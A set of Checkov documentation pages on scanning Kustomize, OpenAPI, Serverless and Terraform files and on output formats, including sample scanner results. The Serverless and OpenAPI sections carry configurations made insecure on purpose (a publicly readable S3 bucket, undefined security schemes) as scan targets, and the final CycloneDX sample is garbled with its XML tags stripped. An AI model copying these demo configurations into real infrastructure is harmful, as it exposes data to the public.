--- # Scan Kustomize kustomizations with Checkov Checkov is able to autodetect kustomizations by the presence of a `Kustomization.yaml` file, if found, the the Kustomize framework will automatically be used to template out the referenced kustomization against referenced bases into resulting Kubernetes manifests, which will then be scanned by all Checkovs' Kubernetes policies. You can think of Kustomize as a "pre-framework". It doesn't currently contain any of it's own policies, rather serves to detect, parse, and provide metadata for Kustomize files to the Kubernetes framework. Each Overlay/Environment detected will be scanned, Checkov output will provide results for each overlay, and the base kubernetes manifests, so you can see seurity differences between overlays. Because Kustomizations don't inherently have names, Checkov generates a name for each overlay based on the relative file-path to the base referenced in the `Kustomizations.yaml` file. For example, The following directory structure will generate 3 sets of checkov violations for, `base:base`, `overlay:dev` and `overlay:prod` environments. ![./kustomize-envs.png](./kustomize-envs.png) ## Dependencies You will need a working version of the standalone "kustomize" binary in your environment. If not available, Checkov will silently skip the Kustomize framework so as to not break existing CI pipelines which may be pulling Checkov latest with each run. This is the same behaviour as Helm, and any other frameworks that depend on external dependencies. ``` ➜ ~ kustomize version {Version:kustomize/v4.4.1 GitCommit:b2d65ddc98e09187a8e38adc27c30bab078c1dbf BuildDate:2021-11-11T23:27:14Z GoOs:darwin GoArch:amd64} ``` Installation options for Kustomize can be found here: [https://kubectl.docs.kubernetes.io/installation/kustomize/binaries/](https://kubectl.docs.kubernetes.io/installation/kustomize/binaries/) ## Results Here we ask for `--compact` output and only a single Kubernetes check `CKV_K8S_43` to make the output easier to read, you can see each Kustomization environment has been templated and scanned with the overlay name appended to the resource. ``` ➜ ~ checkov -d ./testdir --framework kustomize --check CKV_K8S_43 --quiet --compact kustomize scan results: Passed checks: 0, Failed checks: 12, Skipped checks: 0 Check: CKV_K8S_43: "Image should use digest" FAILED for resource: base:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/base/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/dev:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/dev/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod-2:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod-2/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod-4:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod-4/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod-3:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/kustomize-blog-demo/k8s/overlays/prod-3/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: base:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/base/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/dev:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/dev/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod-2:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod-2/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod-4:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod-4/kustomization.yaml: Check: CKV_K8S_43: "Image should use digest" FAILED for resource: overlay:overlays/prod-3:Deployment.default.sl-demo-app File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod-3/kustomization.yaml: ``` ================================================ FILE: docs/7.Scan Examples/OpenAPI.md ================================================ --- layout: default published: true title: OpenAPI configuration scanning nav_order: 20 --- # OpenAPI configuration scanning Checkov supports the evaluation of policies on your OpenAPI files. When using checkov to scan a directory that contains OpenAPI manifests it will validate if the file is compliant with OpenAPI best practices such as securityDefinitions and security requirement are well-defined, and more. Full list of OpenAPI policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/openapi.html). ### Example misconfigured OpenAPI ```yaml { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "responses": { "200": { "description": "200 response" } }, "parameters": [ { "name": "limit2", "in": "body", "required": true, "schema": { "type": "object" } } ], "security": [ { "api_key": [] } ] } } }, "securityDefinitions": { "petstore_auth": { "type": "oauth2", "authorizationUrl": "http://swagger.io/api/oauth/dialog", "flow": "implicit", "scopes": { "write:pets": "write", "read:pets": "read" } } } } ``` ### Running in CLI ```bash checkov -d . --framework openapi ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x openapi scan results: Passed checks: 4, Failed checks: 2, Skipped checks: 0 Check: CKV_OPENAPI_2: "Ensure that if the security scheme is not of type 'oauth2', the array value must be empty" PASSED for resource: security File: /openapi.yaml:2-47 Check: CKV_OPENAPI_5: "Ensure that security operations is not empty." PASSED for resource: security File: /openapi.yaml:2-47 Check: CKV_OPENAPI_1: "Ensure that securityDefinitions is defined and not empty." PASSED for resource: securityDefinitions File: /../aya/openapi.yaml:36-46 Check: CKV_OPENAPI_3: "Ensure that security schemes don't allow cleartext credentials over unencrypted channel" PASSED for resource: components File: /openapi.yaml:2-47 Check: CKV_OPENAPI_6: "Ensure that security requirement defined in securityDefinitions." FAILED for resource: security File: /openapi.yaml:27-31 27 | "security": [ 28 | { 29 | "api_key": [] 30 | } 31 | ] Check: CKV_OPENAPI_4: "Ensure that the global security field has rules defined" FAILED for resource: security File: /openapi.yaml:1-47 1 | { 2 | "swagger": "2.0", 3 | "info": { 4 | "title": "example", 5 | "version": "1.0.0" 6 | }, 7 | "paths": { 8 | "/": { 9 | "get": { 10 | "operationId": "example", 11 | "summary": "example", 12 | "responses": { 13 | "200": { 14 | "description": "200 response" 15 | } 16 | }, 17 | "parameters": [ 18 | { 19 | "name": "limit2", 20 | "in": "body", 21 | "required": true, 22 | "schema": { 23 | "type": "object" 24 | } 25 | } 26 | ], 27 | "security": [ 28 | { 29 | "api_key": [] 30 | } 31 | ] 32 | } 33 | } 34 | }, 35 | "securityDefinitions": { 36 | "petstore_auth": { 37 | "type": "oauth2", 38 | "authorizationUrl": "http://swagger.io/api/oauth/dialog", 39 | "flow": "implicit", 40 | "scopes": { 41 | "write:pets": "write", 42 | "read:pets": "read" 43 | } 44 | } 45 | } 46 | } ``` ================================================ FILE: docs/7.Scan Examples/Sca.md ================================================ --- layout: default published: true title: SCA scanning nav_order: 20 --- # SCA scanning Checkov is an SCA (Software Composition Analysis) tool. This means it scans package files and container images for Common Vulnerabilities and Exposures (CVEs). You can find the full list of the supported package manager types [here](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/risk-management/monitor-and-manage-code-build/software-composition-analysis/supported-package-managers). In order to use this feature, you first need to create an [API token using Prisma Cloud](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/get-started/connect-code-and-build-providers/ci-cd-runs/add-checkov), and make sure you have an internet connection. ## Package scanning ```bash checkov -d . --framework sca_package --bc-api-key :: --prisma-api-url --repo-id ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x sca_package scan results: Found CVEs: 35, Skipped CVEs: 0 /package-lock.json ┌────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┐ │ Total CVEs: 35 │ critical: 3 │ high: 19 │ medium: 10 │ low: 3 │ skipped: 0 │ ├────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┤ │ To fix 34/35 CVEs, go to Prisma Cloud │ ├────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┤ │ Package │ CVE ID │ Severity │ Current version │ Fixed version │ Compliant version │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ trim-newlines │ CVE-2021-33623 │ high │ 1.0.0 │ 3.0.1 │ 3.0.1 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ bson │ CVE-2020-7610 │ high │ 1.0.9 │ 1.1.4 │ 1.1.4 │ │ │ CVE-2019-2391 │ medium │ │ 1.1.4 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ ramda │ PRISMA-2021-0154 │ medium │ 0.24.1 │ N/A │ None │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ growl │ CVE-2017-16042 │ critical │ 1.9.2 │ 1.10.0 │ 1.10.0 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ npm │ CVE-2019-16775 │ high │ 3.10.10 │ 6.13.3 │ 6.14.6 │ │ │ CVE-2019-16777 │ low │ │ 6.13.4 │ │ │ │ CVE-2019-16776 │ low │ │ 6.13.3 │ │ │ │ CVE-2020-15095 │ low │ │ 6.14.6 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ adm-zip │ PRISMA-2021-0034 │ high │ 0.4.4 │ 0.5.3 │ 0.5.3 │ │ │ CVE-2018-1002204 │ high │ │ 0.4.11 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ mongodb │ GHSA- │ high │ 2.2.36 │ 3.1.13 │ 3.1.13 │ │ │ MH5C-679W-HH4R │ │ │ │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ minimist │ CVE-2021-44906 │ critical │ 0.0.10 │ 1.2.6 │ 1.2.6 │ │ │ CVE-2020-7598 │ medium │ │ 0.2.1 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ hawk │ CVE-2022-29167 │ high │ 3.1.3 │ 9.0.1 │ 9.0.1 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ uglify-js │ CVE-2015-8858 │ high │ 2.4.24 │ 2.6.0 │ 3.14.3 │ │ │ PRISMA-2021-0169 │ medium │ │ 3.14.3 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ tap-mocha-reporter │ PRISMA-2022-0098 │ high │ 2.0.1 │ 5.0.2 │ 5.0.2 │ │ │ PRISMA-2022-0097 │ medium │ │ 5.0.2 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ shelljs │ CVE-2022-0144 │ high │ 0.3.0 │ 0.8.5 │ 0.8.5 │ │ │ GHSA-64G7-MVW6-V9Q │ medium │ │ 0.8.5 │ │ │ │ J │ │ │ │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ cypress │ PRISMA-2021-0070 │ medium │ 3.8.3 │ 7.2.0 │ 7.2.0 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ helmet-csp │ GHSA-C3M8-X3CG- │ medium │ 1.2.2 │ 2.9.1 │ 2.9.1 │ │ │ QM2C │ │ │ │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ marked │ CVE-2022-21680 │ high │ 0.3.9 │ 4.0.10 │ 4.0.10 │ │ │ CVE-2022-21681 │ high │ │ 4.0.10 │ │ │ │ PRISMA-2021-0013 │ medium │ │ 1.1.1 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ cryptiles │ CVE-2018-1000620 │ critical │ 2.0.5 │ 4.1.2 │ 4.1.2 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ glob-parent │ CVE-2020-28469 │ high │ 3.1.0 │ 5.1.2 │ 5.1.2 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ bl │ CVE-2020-8244 │ high │ 1.0.3 │ 1.2.3 │ 1.2.3 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ diff │ GHSA-H6CH-V84P-W6P │ high │ 1.4.0 │ 3.5.0 │ 3.5.0 │ │ │ 9 │ │ │ │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ unset-value │ PRISMA-2022-0049 │ high │ 1.0.0 │ 2.0.1 │ 2.0.1 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ grunt │ CVE-2022-1537 │ high │ 1.5.2 │ 1.5.3 │ 1.5.3 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ nconf │ CVE-2022-21803 │ high │ 0.10.0 │ 0.11.4 │ 0.11.4 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ hoek │ CVE-2018-3728 │ medium │ 2.16.3 │ 4.2.1 │ 4.2.1 │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ moment │ CVE-2022-24785 │ high │ 2.24.0 │ 2.29.2 │ 2.29.2 │ └────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┘ ``` ================================================ FILE: docs/7.Scan Examples/Serverless Framework.md ================================================ --- layout: default published: true title: Serverless framework configuration scanning nav_order: 20 --- # Serverless framework configuration scanning Checkov supports the evaluation of policies on your Serverless framework files. When using checkov to scan a directory that contains a Serverless framework template it will validate if the file is compliant with AWS best practices such as having logging and auditing enabled, making sure S3 buckets are encrypted, HTTPS is being used, and more. Full list of Serverless framework policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/serverless.html). The serverless scanning is utilizing checks that are part of the Cloudformation scanning implementation of checkov since Serverless resource definition extends the Cloudformation definition. ### Example misconfigured Serverless framework ```yaml service: usersCrud provider: aws functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 resources: # CloudFormation template syntax Resources: S3BucketPublicRead: Type: AWS::S3::Bucket Properties: AccessControl: PublicRead BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 ``` ### Running in CLI ```bash checkov -d . --framework serverless ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x serverless scan results: Passed checks: 5, Failed checks: 7, Skipped checks: 0 Check: CKV_AWS_19: "Ensure the S3 bucket has server-side-encryption enabled" PASSED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-14-data-encrypted-at-rest Check: CKV_AWS_57: "Ensure the S3 bucket does not allow WRITE permissions to everyone" PASSED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-2-acl-write-permissions-everyone Check: CKV_AWS_49: "Ensure no IAM policies documents allow "*" as a statement's actions" PASSED for resource: myFunc File:/serverless.yml:5-19 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_iam_43 Check: CKV_AWS_41: "Ensure no hard coded AWS access key and secret key exists in provider" PASSED for resource: myFunc File:/serverless.yml:5-19 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_secrets_5 Check: CKV_AWS_1: "Ensure IAM policies that allow full "*-*" administrative privileges are not created" PASSED for resource: myFunc File:/serverless.yml:5-19 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/iam_23 Check: CKV_AWS_20: "Ensure the S3 bucket does not allow READ permissions to everyone" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_1-acl-read-permissions-everyone 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 Check: CKV_AWS_18: "Ensure the S3 bucket has access logging enabled" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 Check: CKV_AWS_53: "Ensure S3 bucket has block public ACLS enabled" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_19 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 Check: CKV_AWS_54: "Ensure S3 bucket has block public policy enabled" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_20 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 Check: CKV_AWS_21: "Ensure the S3 bucket has versioning enabled" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 Check: CKV_AWS_55: "Ensure S3 bucket has ignore public ACLs enabled" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_21 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 Check: CKV_AWS_56: "Ensure S3 bucket has 'restrict_public_bucket' enabled" FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead File:/serverless.yml:22-29 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_22 22 | S3BucketPublicRead: 23 | Type: AWS::S3::Bucket 24 | Properties: 25 | AccessControl: PublicRead 26 | BucketEncryption: 27 | ServerSideEncryptionConfiguration: 28 | - ServerSideEncryptionByDefault: 29 | SSEAlgorithm: AES256 ``` ================================================ FILE: docs/7.Scan Examples/Terraform Plan Scanning.md ================================================ --- layout: default published: true title: Terraform Plan Scanning nav_order: 8 --- # Terraform Plan Scanning ## Evaluate Checkov Policies on Terraform Plan Checkov supports the evaluation of policies on resources declared in `.tf` files. It can also be used to evaluate `terraform plan` expressed in a json file. Plan evaluation provides Checkov additional dependencies and context that can result in a more complete scan result. Since Terraform plan files may contain arguments (like secrets) that are injected dynamically, it is advised to run a plan evaluation using Checkov in a secure CI/CD pipeline setting. ### Example The example below creates a Terraform Plan JSON file and scans it using Checkov. It uses `jq` which must be installed beforehand and leads to better formatted outputs and results. It is not explicitly required for plan scanning. ```json terraform init terraform plan --out tfplan.binary terraform show -json tfplan.binary | jq > tfplan.json checkov -f tfplan.json ``` The output would look like: ``` checkov -f tf.json Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled" FAILED for resource: aws_s3_bucket.customer File: /tf/tf1.json:224-268 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning 225 | "values": { 226 | "acceleration_status": "", 227 | "acl": "private", 228 | "arn": "arn:aws:s3:::mybucket", ``` ### Ignored checks Since the Terraform checks are used for both normal templates and plan files, some of those are not applicable for a plan file. They evaluate the `lifecycle` block, which is only relevant for the CLI and are not stored in the plan file itself. Following checks will be ignored; - CKV_AWS_217 - CKV_AWS_233 - CKV_AWS_237 - CKV_GCP_82 ### Deleted resources To check if a resource will be deleted or changed (further change values can be found [here](https://www.terraform.io/internals/json-format#change-representation)) the change actions values can be accessed via the attribute name `__change_actions__`. Ex. Python ```python def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: actions = conf.get("__change_actions__") if isinstance(actions, list) and "delete" in actions: return CheckResult.FAILED return CheckResult.PASSED ``` Ex. YAML ```yaml cond_type: attribute resource_types: - aws_secretsmanager_secret attribute: __change_actions__ operator: not_contains value: delete ``` ### Changed resource fields To write a check conditional on whether or not a specific field has changed, one can access the changed fields via the attribute `TF_PLAN_RESOURCE_CHANGE_KEYS` (a list of changed keys). Ex Python ```python from checkov.terraform.plan_parser import TF_PLAN_RESOURCE_CHANGE_ACTIONS, TF_PLAN_RESOURCE_CHANGE_KEYS def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: actions = conf.get(TF_PLAN_RESOURCE_CHANGE_ACTIONS) if isinstance(actions, list) and "update" in actions: if "protocol" in conf.get(TF_PLAN_RESOURCE_CHANGE_KEYS): return CheckResult.FAILED return CheckResult.PASSED ``` ## Combining Plan and Terraform scans Plan file scans can be enriched with the Terraform files to improve outputs, add skip comments and expand coverage. Note that these will increase scan times. ### Enrichment Using the `--repo-root-for-plan-enrichment` flag, code blocks, and resource IDs in the output will be from the Terraform files and skip comments in the Terraform files will be respected in the Plan file scan. Example: ``` checkov -f tfplan.json --repo-root-for-plan-enrichment /pathToTF/ ``` ### Deep Analysis Using the `--deep-analysis` flag in combination with the `--repo-root-for-plan-enrichment` flag will combine the graph of the Plan file scan and the Terraform files scans. This allows Checkov to make graph connections where there is incomplete information in the Plan file. For example, locals do not have the connections defined in the plan file but can make that connection with the Deep Analysis. Example: ``` checkov -f tfplan.json --repo-root-for-plan-enrichment /pathToTF/ --deep-analysis ``` ================================================ FILE: docs/7.Scan Examples/Terraform.md ================================================ --- layout: default published: true title: Terraform Scanning nav_order: 8 --- # Terraform Scanning ## Scanning Third-Party Terraform Modules Third-party Terraform modules often reduce complexity for deploying services made up of many objects. For example, the official AWS EKS module reduces the amount of configuration required to just few lines below. However, in doing so abstracts the Terraform configuration away from a regular Checkov scan on the current directory. ```hcl module "eks" { source = "terraform-aws-modules/eks/aws" cluster_name = "my-cluster" cluster_version = "1.24" subnets = ["subnet-abcde012", "subnet-bcde012a", "subnet-fghi345a"] vpc_id = "vpc-1234556abcdef" worker_groups = [ { instance_type = "m4.large" asg_max_size = 5 } ] } ``` To ensure coverage of objects within these modules, you can instruct Checkov to download those external modules: ```shell checkov -d . --download-external-modules true ``` This will allow Checkov to download any external modules referenced in the Terraform configuration files into a folder named `.external_modules`. To adjust the download path you can leverage the flag `--external-modules-download-path`: ```shell checkov -d . --download-external-modules true --external-modules-download-path example/path ``` > [!NOTE] > **Experimental** > By setting the env var `CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES=True` instead of downloading external modules `checkov` will use the ones already downloaded by Terraform stored in `.terraform` folder. This only works for scans of the root folder, where also `terraform init` was executed. > ```shell > CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES=True checkov -d . > ``` ### Scanning Private Terraform Modules If you have modules stored in a private repository or a private Terraform registry (hosted on Terraform Cloud, Terraform Enterprise or a third-party provider like GitLab), you can grant Checkov access by providing access tokens as environment variables. This will enable Checkov to attempt to clone and scan those modules. | Variable Name | Description | | ---------------------- | ------------------------------------------------------------------------------------------------ | | GITHUB_PAT | Github personal access token with read access to the private repository | | BITBUCKET_TOKEN | Bitbucket personal access token with read access to the private repository | | TF_HOST_NAME | (defaults to app.terraform.io) Terraform registry host name. Example: gitlab.com / example.com | | TFC_TOKEN\* | (deprecated, use TF_REGISTRY_TOKEN) Terraform Cloud token which can access the private registry | | TF_REGISTRY_TOKEN | Private registry access token (supports Terraform Cloud / Enterprise and third-party registries) | | BITBUCKET_USERNAME | Bitbucket username (can only be used with a BITBUCKET_APP_PASSWORD) | | BITBUCKET_APP_PASSWORD | Bitbucket app password (can only be used with a BITBUCKET_USERNAME) | For self-hosted VCS repositories, use the following environment variables: | Variable Name | Description | | ------------- | ---------------------------------------------------- | | VCS_BASE_URL | Base URL of the self-hosted VCS: https://example.com | | VCS_USERNAME | Username for basic authentication | | VCS_TOKEN | Password for basic authentication | #### Examples - Terraform Cloud registry private module scan ```shell # TF_HOST_NAME will default to app.terraform.io export TF_REGISTRY_TOKEN=xxxxxx checkov -d . --download-external-modules true ``` - Terraform Enterprise registry private module scan ```shell export TF_HOST_NAME=tfe.example.com export TF_REGISTRY_TOKEN=xxxxxx checkov -d . --download-external-modules true ``` - Gitlab registry public module scan ```shell export TF_HOST_NAME=gitlab.com checkov -d . --download-external-modules true ``` - Gitlab self-hosted registry private module scan ```shell # A job token or a personal access token with the read_api scope is required export TF_HOST_NAME=gitlab.example.com export TF_REGISTRY_TOKEN=xxxxxx checkov -d . --download-external-modules true ``` ================================================ FILE: docs/8.Outputs/CSV.md ================================================ --- layout: default published: true title: CSV nav_order: 20 --- # CSV A CSV output would generate 3 output files: - iac.csv - container_images.csv - oss_packages.csv ## Structure ###iac.csv | Resource | Path | Git Org | Git Repository | Misconfigurations | Severity | |:-------------------------|:--------------------------|:--------------|:----------------|:-------------------|:----------| | aws_db_instance.default | /terraform/aws/db-app.tf | prisma | terragoat | CKV_AWS_161 | MEDIUM | ###oss_packages.csv | Package | Version | Path | Git Org | Git Repository | Vulnerability | Severity | Licenses | |:---------|:---------|:------------------------------------------------|:--------------|:----------------|:----------------|:----------|:----------| | xmldom | 0.5.0 | /packages/node/twistcli-test/package-lock.json | prisma | terragoat | CVE-2021-32796 | MEDIUM | ###container_images.csv | Package | Version | Path | Git Org | Git Repository | Vulnerability | Severity | Licenses | |:---------|:---------|:---------------------------------|:--------------|:----------------|:----------------|:----------|:----------| | xmldom | 0.5.0 | /Dockerfile (sha256:6a353e22ce) | prisma | terragoat | CVE-2021-32796 | MEDIUM | ================================================ FILE: docs/8.Outputs/CycloneDX BOM.md ================================================ --- layout: default published: true title: CycloneDX BOM nav_order: 20 --- # CycloneDX BOM CycloneDX is a lightweight BOM specification that is easily created, human-readable, and simple to parse. A typical output looks like this ```xml 2022-07-17T14:13:26.536352+00:00 CycloneDX cyclonedx-python-lib 2.6.0 https://github.com/CycloneDX/cyclonedx-python-lib/actions https://pypi.org/project/cyclonedx-python-lib/ https://cyclonedx.github.io/cyclonedx-python-lib/ https://github.com/CycloneDX/cyclonedx-python-lib/issues https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md https://github.com/CycloneDX/cyclonedx-python-lib https://cyclonedx.org prisma_cloud checkov 2.1.38 https://github.com/bridgecrewio/checkov/actions https://pypi.org/project/checkov/ https://www.checkov.io/1.Welcome/What%20is%20Checkov.html https://github.com/bridgecrewio/checkov/issues https://github.com/bridgecrewio/checkov/blob/master/LICENSE https://twitter.com/prisma_cloud https://github.com/bridgecrewio/checkov https://www.checkov.io/ aws_s3_bucket.example sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 flask 0.6 pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6 CKV2_AWS_6 checkov Resource: aws_s3_bucket.example. Ensure that S3 bucket has a Public Access block 